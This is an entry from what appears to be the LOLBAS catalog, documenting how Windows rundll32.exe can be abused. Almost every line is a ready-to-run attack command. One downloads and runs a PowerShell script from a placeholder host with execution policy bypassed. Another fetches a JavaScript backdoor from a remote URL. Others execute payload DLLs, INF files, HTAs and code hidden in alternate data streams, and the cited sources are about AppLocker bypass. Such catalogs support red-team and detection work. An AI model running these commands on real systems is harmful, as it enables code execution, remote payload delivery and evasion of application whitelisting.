LOLBAS/OSBinaries/Rundll32.md

Rundll32.exe

• Functions: Execute, Read ADS

rundll32.exe AllTheThingsx64,EntryPoint    

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")

rundll32 shell32.dll,Control_RunDLL payload.dll

rundll32.exe advpack.dll,LaunchINFSection c:\test.inf,DefaultInstall_SingleUser,1,

rundll32.exe advpack.dll,RegisterOCX calc.exe

rundll32.exe zipfldr.dll,RouteTheCall calc.exe

rundll32.exe url.dll,OpenURL "C:\test\calc.hta"

rundll32.exe url.dll,OpenURL "C:\test\calc.url"

rundll32.exe url.dll, FileProtocolHandler calc.exe

rundll32.exe ieframe.dll,OpenURL "C:\test\calc.url"

rundll32.exe shdocvw.dll,OpenURL "C:\test\calc.url"

rundll32.exe ieadvpack.dll,LaunchINFSection test.inf,,1,   
     
rundll32 "C:\ads\file.txt:ADSDLL.dll",DllMain   

Acknowledgements:

• Casey Smith - @subtee
• Jimmy - @bohops
• Moriarty - @Moriarty_Meng
• Adam - @hexacorn
• Oddvar Moe - @oddvarmoe

Code sample:

• AllTheThingsx64.dll[1]
• AllTheThingsx86.dll[1]

Resources:

• https://pentestlab.blog/2017/05/23/applocker-bypass-rundll32/
• https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7
• https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Rundll32.md
• https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
• https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/

Full path:

C:\Windows\System32\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe

Notes: [1]Code sample linked to Red Canary - Atomic Red Team